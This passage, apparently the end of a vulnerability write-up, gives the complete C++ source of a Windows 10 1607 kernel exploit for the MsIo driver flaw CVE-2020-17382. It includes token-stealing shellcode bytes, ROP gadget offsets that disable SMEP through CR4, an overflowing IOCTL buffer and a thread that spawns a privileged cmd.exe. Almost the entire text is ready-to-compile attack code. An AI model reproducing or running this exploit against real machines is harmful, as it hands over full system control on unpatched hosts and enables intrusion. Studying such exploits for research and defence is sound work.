Exploit Code

For completeness, the entire exploit code is given below:

#include <iostream>
#include <windows.h>
#include <psapi.h>

#define MSIO_SYM_LINK "\\\\.\\MsIo"

#define ARRAY_SIZE 1024

uint64_t GetKernelBase()
{
  LPVOID drivers[ARRAY_SIZE];
  DWORD cbNeeded;
  EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);

  return (uint64_t)drivers[0];
}

DWORD WINAPI ThreadFunc(void* data) {
  Sleep(2000);
  WinExec("cmd.exe", 1);
  return 0;
}

int main()
{
  printf("CVE-2020-17382 Exploit: Win10 1607\n----------------------------------\n");

  // get a handle to the driver using the Symbolic link
  HANDLE hDevice = CreateFileA(MSIO_SYM_LINK, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);

  // if CreateFileA fails the handle will be -0x1
  if (hDevice == (HANDLE)-0x1)
  {
    printf("[+] Driver handle: 0x%p\n", hDevice);
    printf("[!] Unable to get a handle to the driver.\n");
    return 1;
  }
  else
  {
    // the IOCTL code
    unsigned int ioCode = 0x80102040;
    // the overflow offset
    const size_t offset = 72;
    // the length of the buffer
    const size_t len = 150;

    // token stealing shellcode - Win10 1607
    const unsigned char shellcode[] = {
      0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x80, 0x88, 
      0x01, 0x00, 0x00, 0x48, 0x8B, 0x80, 0xB8, 0x00,
      0x00, 0x00, 0x49, 0x89, 0xC0, 0x41, 0xB9, 0x04, 
      0x00, 0x00, 0x00, 0x4D, 0x8B, 0x80, 0xF0, 0x02, 
      0x00, 0x00, 0x49, 0x81, 0xE8, 0xF0, 0x02, 0x00, 
      0x00, 0x4D, 0x39, 0x88, 0xE8, 0x02, 0x00, 0x00, 
      0x75, 0xE9, 0x49, 0x8B, 0x88, 0x58, 0x03, 0x00, 
      0x00, 0x80, 0xE1, 0xF0, 0x48, 0x89, 0x88, 0x58, 
      0x03, 0x00, 0x00, 0xC3 
    };

    // allocate memory for the shellcode
    LPVOID alloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!alloc)
    {
      printf("[!] Unable to allocate memory for the shellcode. Error code: %d\n", GetLastError());
      return 1;
    }

    printf("[+] Memory allocated: 0x%p\n", alloc);

    // get the kernel base address
    uint64_t kernelBase = GetKernelBase();
    printf("[+] Kernel base is: 0x%p\n", kernelBase);

    // copy the shellcode in to the memory
    RtlMoveMemory(alloc, shellcode, sizeof(shellcode));
    printf("[+] Shellcode copied to: 0x%p\n", alloc);

    // the rop gadgets - Win10 1607
    uint64_t POP_RCX = kernelBase + 0x3c66ce;
    uint64_t MOV_CR4_RCX = kernelBase + 0x3d6325;
    uint64_t LEA_RAX_RSP_8 = kernelBase + 0x14aa10;
    uint64_t MOV_RAX_QWORD_RAX = kernelBase + 0x8f042;
    uint64_t JMP_RAX = kernelBase + 0x6e59ec;

    // index for rop chain
    uint64_t index = 0;

    // the exploit buffer
    char buffer[len];
    memset(buffer, 0x41, len);

    // get a pointer to the offset for the rop chain
    uint64_t* rop = (uint64_t*)((uint64_t)buffer + offset);

    // the rop chain
    *(rop + index++) = POP_RCX;
    *(rop + index++) = (uint64_t)0x050678;
    *(rop + index++) = MOV_CR4_RCX;

    // the return address to our shellcode
    *(rop + index++) = (uint64_t)alloc;

    // spin the thread
    *(rop + index++) = (uint64_t)LEA_RAX_RSP_8;
    *(rop + index++) = (uint64_t)MOV_RAX_QWORD_RAX;
    *(rop + index++) = (uint64_t)JMP_RAX;

    printf("[!] Press enter when ready...");
    getchar();

    // create a new thread to escalate privileges on
    printf("[+] Creating a privileged thread...\n", alloc);
    HANDLE thread = CreateThread(NULL, 0, ThreadFunc, NULL, 0, NULL);

    // send the buffer
    printf("[+] Sending IOCTL...\n\n");
    DWORD bytesRet;
    DeviceIoControl(hDevice, (DWORD)ioCode, (LPVOID)buffer, len, NULL, 0, &bytesRet, NULL);
  }

  return 0;
}

Last updated